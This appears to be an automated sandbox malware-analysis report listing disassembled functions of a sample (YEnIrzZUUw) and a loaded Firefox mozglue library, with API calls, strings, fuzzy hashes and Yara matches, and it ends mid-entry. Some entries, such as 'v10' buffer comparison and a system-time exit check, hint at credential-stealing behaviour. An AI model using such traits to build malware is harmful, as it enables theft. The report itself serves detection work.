Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 05ea93a2ccebe7daa9ecdcc8106bf3a6a8eb4227c14f37aa5a351d8dbdabef4f
Instruction ID: 16a52f829683ca2cacd30640a8f51fba88c21951266a54bccaa874bae7e32f52
Opcode Fuzzy Hash: 05ea93a2ccebe7daa9ecdcc8106bf3a6a8eb4227c14f37aa5a351d8dbdabef4f
Instruction Fuzzy Hash: 47518EB1A012268FEB18DF64D88066E73B6AF44318F25052BD91AEB740E731F915CBD6

Uniqueness

Uniqueness Score: -1.00%

Function 6C8E4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C8E4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C8E4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C8E4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C8E4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C8E4F1E

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 9e150f6a7c42ca6e4511ef00c46d02cdfdaf65bc25e94e847eb974827f9081b2
Instruction ID: b09824b9be5da9e76b0c55ed07a1e6124607851b3cb5b4709021c276d35a39a9
Opcode Fuzzy Hash: 9e150f6a7c42ca6e4511ef00c46d02cdfdaf65bc25e94e847eb974827f9081b2
Instruction Fuzzy Hash: F741BC716087069FC721CFA9C88095BB7E4BFCE354F108A2DF56A97A41DB30E918CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040F200 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0040F228
strtok_s.MSVCRT ref: 0040F36D

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041FD888,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 89292260d13e06a3ccf44185258d8082ce40877a689944c47bb1047c3bb279de
Instruction ID: 34556820f6e5338ba8e8a845a83fb71131f6fb13afd6d5a2f2d9a2f2ab0dc7f0
Opcode Fuzzy Hash: 89292260d13e06a3ccf44185258d8082ce40877a689944c47bb1047c3bb279de
Instruction Fuzzy Hash: 4F514FB5A04209DFCB18CF54D595AAE7BB6FF48308F10817DE802AB390D734EA95CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004097F0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 115memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 0040980B
memset.MSVCRT ref: 0040983E
LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041FD888,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Strings

v10, xrefs: 00409802
@, xrefs: 00409847

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocallstrlenmemcmpmemset
String ID: @$v10
API String ID: 1400469952-24753345
Opcode ID: e71f3abce87f5488d7e3c7f729cda8505d52d5c20a578ee7e88b686cde8dd440
Instruction ID: 87859f0eaa1cac66c0422607c8296a2f5b7cfd88fdb957a476e5adb471fb7cf1
Opcode Fuzzy Hash: e71f3abce87f5488d7e3c7f729cda8505d52d5c20a578ee7e88b686cde8dd440
Instruction Fuzzy Hash: 00414EB0A00208EBDB04DFA5DC55FDE7B75BF44304F108119F909AB295DB78AE85CB98

Uniqueness

Uniqueness Score: -1.00%

Function 6C8F1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C8F152B,?,?,?,?,6C8F1248,?), ref: 6C8F159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C8F152B,?,?,?,?,6C8F1248,?), ref: 6C8F15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C8F152B,?,?,?,?,6C8F1248,?), ref: 6C8F15E7
free.MOZGLUE(?,?,?,?,?,?,6C8F152B,?,?,?,?,6C8F1248,?), ref: 6C8F1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C8F152B,?,?,?,?,6C8F1248,?), ref: 6C8F1637

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 5928475a2eef1dcd36d1165e4869b3c908d3ee43b66ce3dcce3e48ada6d9a540
Instruction ID: 8009adf46b5b9ee1f4bfb2b6a1d162d472ee0809bff4dd2c571bd0a037a9f4f7
Opcode Fuzzy Hash: 5928475a2eef1dcd36d1165e4869b3c908d3ee43b66ce3dcce3e48ada6d9a540
Instruction Fuzzy Hash: B231EAF1A001149BCB298E78D99046E77A5FB953A47240F2DE433DBBD4EB30D9168791

Uniqueness

Uniqueness Score: -1.00%

Function 6C94AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C95E330,?,6C90C059), ref: 6C94AD9D

Part of subcall function 6C8FCA10: malloc.MOZGLUE(?), ref: 6C8FCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C95E330,?,6C90C059), ref: 6C94ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C95E330,?,6C90C059), ref: 6C94AE01
GetLastError.KERNEL32(?,00000000,?,?,6C95E330,?,6C90C059), ref: 6C94AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C95E330,?,6C90C059), ref: 6C94AE3D

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c1a3db967fd1407f77b3c13c4c2d2aadffc6653e6b60289966109c8e06f32f95
Instruction ID: d4ae92353bf6e9fb54d2f9836a2e5d347849c4af0e475a91f8325bbaa8075328
Opcode Fuzzy Hash: c1a3db967fd1407f77b3c13c4c2d2aadffc6653e6b60289966109c8e06f32f95
Instruction Fuzzy Hash: E63161B1A002159FDB10DF7A8C44AABB7F8EF58654F55883DE85AD7740EB34E804CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C945EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C95DCA0,?,?,?,6C91E8B5,00000000), ref: 6C945F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C91E8B5,00000000), ref: 6C945F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C91E8B5,00000000), ref: 6C945F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C91E8B5,00000000), ref: 6C945F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C91E8B5,00000000), ref: 6C945FD6

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 869c8a0335958cc24535cc441901ea9c1ec6bfac71b307290bf1aa1c7ff890a6
Instruction ID: 81381f5cfb98390039c6fd72af5cb385ec309bc026d7c98e0d3405f38b380563
Opcode Fuzzy Hash: 869c8a0335958cc24535cc441901ea9c1ec6bfac71b307290bf1aa1c7ff890a6
Instruction Fuzzy Hash: D33129343046008FD710CF69C898B2AB7F9BF89318B6485A8F9568BB95D731EC51CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6C8EB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C8EB532
moz_xmalloc.MOZGLUE(?), ref: 6C8EB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C8EB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C8EB57E
free.MOZGLUE(00000000), ref: 6C8EB58F

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 550f52ae4fb227abdb62d55bc3f9e0b8892a4948f56f4380400d308c8949c90d
Instruction ID: bfb6086e9813e25702c6d0f56f6844464b597601efdfab30e74fb04e739e7a40
Opcode Fuzzy Hash: 550f52ae4fb227abdb62d55bc3f9e0b8892a4948f56f4380400d308c8949c90d
Instruction Fuzzy Hash: 6721F671A002059BDB108F69CD40BBABBB9FF4A314F28442DE819DB381E736D911C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 004135E0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(0041D8AC,?,?,004137D1,00000000,?,041FD888,?,0041D8AC,?,00000000,?), ref: 0041362C
sscanf.NTDLL ref: 00413659
SystemTimeToFileTime.KERNEL32(0041D8AC,00000000,?,?,?,?,?,?,?,?,?,?,?,041FD888,?,0041D8AC), ref: 00413672
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,041FD888,?,0041D8AC), ref: 00413680
ExitProcess.KERNEL32 ref: 0041369A

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 1317ddf1f9c1afdd93909f223843f69075992d328c88535c6b58c76ddc48183c
Instruction ID: a268315634fda69ed0a537ef202e87298384d27024bdd5aae2ec85167a5c17e0
Opcode Fuzzy Hash: 1317ddf1f9c1afdd93909f223843f69075992d328c88535c6b58c76ddc48183c
Instruction Fuzzy Hash: 6421BA75D14209ABCB14EFE4D945AEEB7BABF4C305F04852EE50AE3250EB345644CB68

Uniqueness

Uniqueness Score: -1.00%

Function 6C9476C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9476F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C947705

Part of subcall function 6C8FCA10: malloc.MOZGLUE(?), ref: 6C8FCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C947717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C94778F,00000000,00000000,00000000,00000000), ref: 6C947731
free.MOZGLUE(00000000), ref: 6C947760

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 6452cab1098a37f41bc14328934d2a1833325432407fea4d0130abc15273fec4
Instruction ID: 6f485177a8193b588167db088360561e65fea02c1b0dbf49ac82d4e5eef3e9b7
Opcode Fuzzy Hash: 6452cab1098a37f41bc14328934d2a1833325432407fea4d0130abc15273fec4
Instruction Fuzzy Hash: B111B2B19042156BE720AF7A8C44BAFBEF8EF55754F14452DF888A7300E7709954CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6C920D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C8E3DEF), ref: 6C920D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C8E3DEF), ref: 6C920D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C8E3DEF), ref: 6C920DAF

Strings

<jemalloc>, xrefs: 6C920D92, 6C920DB9
: (malloc) Error in VirtualFree(), xrefs: 6C920D97, 6C920DBE

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: be1096f236c6015792de65bf3a5dff3f34ebec08e19aca120215963ff71db4e6
Instruction ID: 16f9233d47a5a19de74937ac101438ff6eb8ab8a077a05d45835f878c29d23d9
Opcode Fuzzy Hash: be1096f236c6015792de65bf3a5dff3f34ebec08e19aca120215963ff71db4e6
Instruction Fuzzy Hash: 82F0E9313E539823F72421770C2AF6A266D6BC3B24F305035F284DADC8EA98E4015AE4

Uniqueness

Uniqueness Score: -1.00%

Function 6C937620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9375C4,?), ref: 6C93762B

Part of subcall function 6C8FCA10: malloc.MOZGLUE(?), ref: 6C8FCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9374D7,6C9415FC,?,?,?), ref: 6C937644
GetCurrentThreadId.KERNEL32 ref: 6C93765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9374D7,6C9415FC,?,?,?), ref: 6C937663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9374D7,6C9415FC,?,?,?), ref: 6C937677

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 2d1c8fd4e460228481d6d637d9d0afdb1568d853f44889db72f8c22dacf597ba
Instruction ID: fb28bc1e67a93692029cdc34508fe6f2174640a61aa9aa60022923221fed8de6
Opcode Fuzzy Hash: 2d1c8fd4e460228481d6d637d9d0afdb1568d853f44889db72f8c22dacf597ba
Instruction Fuzzy Hash: 7DF0C271E14745ABE7018F22C888676B778FFEA259F21431AF90547642E7B0A5D18BD0

Uniqueness

Uniqueness Score: -1.00%

Function 004185A7 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004185B3

Part of subcall function 00417B2C: __getptd_noexit.LIBCMT ref: 00417B2F
Part of subcall function 00417B2C: __amsg_exit.LIBCMT ref: 00417B3C

__getptd.LIBCMT ref: 004185CA
__amsg_exit.LIBCMT ref: 004185D8
__lock.LIBCMT ref: 004185E8
__updatetlocinfoEx_nolock.LIBCMT ref: 004185FC

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: ce05a91ea9c2b8e711ac95fae42e6a284d9b9390d13ac8f67e08820a18d7d66a
Instruction ID: cdd0eec35e4bf80da2317afb9b55000317a90f0185e5a3c9ee5e330d7cc08b67
Opcode Fuzzy Hash: ce05a91ea9c2b8e711ac95fae42e6a284d9b9390d13ac8f67e08820a18d7d66a
Instruction Fuzzy Hash: A4F09632A49710AAD721BBBA9C027CA77B1AF00739F10411FF505A62D2CF6C69C1CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 6C90D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C91CBE8: GetCurrentProcess.KERNEL32(?,6C8E31A7), ref: 6C91CBF1
Part of subcall function 6C91CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8E31A7), ref: 6C91CBFA

EnterCriticalSection.KERNEL32(6C96E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C91D1C5), ref: 6C90D4F2
LeaveCriticalSection.KERNEL32(6C96E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C91D1C5), ref: 6C90D50B

Part of subcall function 6C8ECFE0: EnterCriticalSection.KERNEL32(6C96E784), ref: 6C8ECFF6
Part of subcall function 6C8ECFE0: LeaveCriticalSection.KERNEL32(6C96E784), ref: 6C8ED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C91D1C5), ref: 6C90D52E
EnterCriticalSection.KERNEL32(6C96E7DC), ref: 6C90D690
LeaveCriticalSection.KERNEL32(6C96E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C91D1C5), ref: 6C90D751

Strings

MOZ_CRASH(), xrefs: 6C90D4BB

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 5c00b42f7f8e5c92daea07bc24885bf0e12bc9523cd61579ad4e869eb9433c7c
Instruction ID: 875327f94788ea7341d3ef3ea5d09dbe8bc9c57bde54047fe7f57127aeea5b3e
Opcode Fuzzy Hash: 5c00b42f7f8e5c92daea07bc24885bf0e12bc9523cd61579ad4e869eb9433c7c
Instruction Fuzzy Hash: A551B172B08B058FE354CF29C59472AB7E5EB89714F25492ED99AC7F84D770E800CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6C934630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C934721

Strings

-%llu, xrefs: 6C934733
profiler-paused, xrefs: 6C9346E4
., xrefs: 6C93476A

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: a1bc16cbfcd70db12db6894e39eeed19e7c635c237c8a05b0597aa06eb9e4eea
Instruction ID: 59bcae7cda9a4b37b101347537c424bce1afdc32d45917907aaa462d7eeba60e
Opcode Fuzzy Hash: a1bc16cbfcd70db12db6894e39eeed19e7c635c237c8a05b0597aa06eb9e4eea
Instruction Fuzzy Hash: 54414872F087189BCB08DF79D85116EBBE5AF85748F11863DE84A9BB81E731D8448B41

Uniqueness

Uniqueness Score: -1.00%

Function 6C9346E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C934721

Part of subcall function 6C8E4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C923EBD,00000017,?,00000000,?,6C923EBD,?,?,6C8E42D2), ref: 6C8E4444

Strings

-%llu, xrefs: 6C934733
profiler-paused, xrefs: 6C9346E4
., xrefs: 6C93476A

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: d8ac92bc42f90d6f9822c68b382214c7e77bf29d529b3287d3865d21238c15d4
Instruction ID: cee79dff2137d548dca9cf1bd0b9b48b5528067c4ed0a80bca96246fc03edb1f
Opcode Fuzzy Hash: d8ac92bc42f90d6f9822c68b382214c7e77bf29d529b3287d3865d21238c15d4
Instruction Fuzzy Hash: CA314871F042188BCB08CF6DD8856AEBBE69B99714F15413DE80A9BB81E770DC048B90

Uniqueness

Uniqueness Score: -1.00%

Function 6C93B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

